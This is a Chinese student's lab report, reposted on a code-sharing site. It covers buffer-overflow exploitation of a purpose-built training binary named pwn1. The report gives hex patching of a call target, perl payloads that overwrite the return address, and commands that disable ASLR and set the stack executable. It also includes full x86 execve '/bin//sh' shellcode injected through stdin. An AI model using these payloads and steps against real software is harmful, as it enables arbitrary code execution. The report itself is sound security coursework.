ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

20212919 2021-2022-2 《网络攻防实践》实践九报告

2022-05-11 20:03:02  阅读:169  来源: 互联网

标签:x90 pwn3 20212919 实践 机器码 指令 2021 shellcode 输入


20212919 2021-2022-2 《网络攻防实践》实践九报告

1.实践内容

实践目标:

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实验要求:

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

基础知识:

反汇编(Disassembly):把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思,常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向工程、软件汉化等领域。学习和理解反汇编语言对软件调试、漏洞分析、OS的内核原理及理解高级语言代码都有相当大的帮助,在此过程中我们可以领悟到软件作者的编程思想。总之一句话:软件一切神秘的运行机制全在反汇编代码里面。

Shellcode:是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令,机器码:90.
JNE:条件转移指令,如果不相等则跳转,机器码:75。
JE:条件转移指令,如果相等则跳转,机器码:74。
JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near,机器码:E9。 段内间接转移 Jmp word,机器码:FF。 段间直接(远)转移Jmp far,机器码:EA。
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2.实践过程

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
打开kali将pwn1文件解压并用terminal打开,输入objdump -d pwn1 | more命令反汇编文件。

一直按住回车键找到main函数,在main函数第4行call处显示8048491为foo函数的入口地址,我们要修改可执行文件使执行call后指向804847d,也就是将call指令的目标地址由d7ffffff变为c3ffffff即getShell函数入口(0x804847d - 0x080484ba= 0xffffffc3)。

输入vi pwn1打开文件,显示一片乱码。

输入:%!xxd将显示模式切换为十六进制。

定位d7需要修改的地址偏移量位置,输入r进行编辑选中d7将其改为c3。

按esc退出,输入:%!xxd -r将十六进制转换为原格式。

还原回乱码后输入:wq保存并退出。

再次输入objdump -d pwn1 | more查看main函数中call指令正确调用getShell

输入./pwn1运行文件,运行后获得shell。

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
输入objdump -d pwn1 | more找到foo函数,函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但并未检查输入的范围易存在缓冲区溢出,有BOF漏洞。

输入gdb命令前先进行下载。

先输入gdb pwn2,后输入r运行程序,输入“wwwwwwwwwwwwwwwwwwwwwyyyyyyy yyyyyyyyyyyyyyyyyttttttttttttttttttttttt”后出现缓冲区溢出错误,输入info r发现eip中内容覆盖为0x79797979(“t”的ASCLL码的十六进制为79)。继续尝试发现当输入字符串过长时,第33~36个字节将会覆盖EIP的内容。所以只需这四个字符替换为 getShell 的内存地址,输给pwn1就会运行getShell。

输入perl -e 'print "wwwwwwwwyyyyyyyyttttttttwwwwwwww\x7d\x84\x04\x08\x0a"' > input,将其生成十六进制字符串文件input文件,作为对pwn2文件的输入。

输入xxd input查看文件是否符合预期。

输入(cat input; cat) | ./pwn2,将字符输入pwn2文件,获得shell。

(3)注入一个自己制作的shellcode并运行这段shellcode。
在root模式下输入apt-get install execstack对execstack进行安装。

分别输入execstack -s pwn3 设置堆栈可执行 ,execstack -q pwn3 查询文件的堆栈是否可执行。

输入more /proc/sys/kernel/randomize_va_space查看地址随机化的状态是否关闭,输入echo "0"> /proc/sys/kernel/randomize_va_space 关闭地址随机化(需要用root模式),再次查询地址随机化的状态为关闭。

使用perl构造十六进制的37个字节的输入串输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode其中第33~36个字节即\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,后输入pwn3并输入(cat input_shellcode;cat) | ./pwn3运行pwn3。

打开一个新界面,输入ps -ef | grep pwn3找到pwn3的进程号是33078。

输入attach 33078 命令启动gdb调试这个进程,通过设置断点输入 disassemble foo 来查看注入buf的内存地址。

输入 break *0x080484ae 设置断点,输入 c 继续运行,同时在pwn3进程正在运行的那个界面点击回车,使其继续执行。

再返回调试界面,输入info r esp命令查找地址,再输入 x/16x 0xffffd50c 可以看到0x01020304的位置在0xffffd50c。根据我们构造的input_shellcode可知retaddr地址应为0xffffd50c+0x00000004=0xffffd510.

构造shellcode:32个A+retaddr+nop+shellcode,输入 perl -e 'print "A" x 32;print "\x10\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode如图所示,将其作为pwn3的输入,输入 (cat input_shellcode;cat) | ./pwn3并执行程序。

3.学习中遇到的问题及解决

4.实践总结

此次实验主要学习了缓冲区溢出攻击,特别注意到了缓冲区溢出漏洞的危害性,一边做实验一边查找资料,这次对于命令行的设计依然比较复杂,需要一点点慢慢来。下载execstack的过程有点不顺利,实验开始没有认识到检查虚拟机联网情况,因未连接到网络导致下载过程耽搁了很久,实验中这些细节问题还需要更好的把握,期待下次实验。

标签:x90,pwn3,20212919,实践,机器码,指令,2021,shellcode,输入
来源: https://www.cnblogs.com/wyt111/p/16259515.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有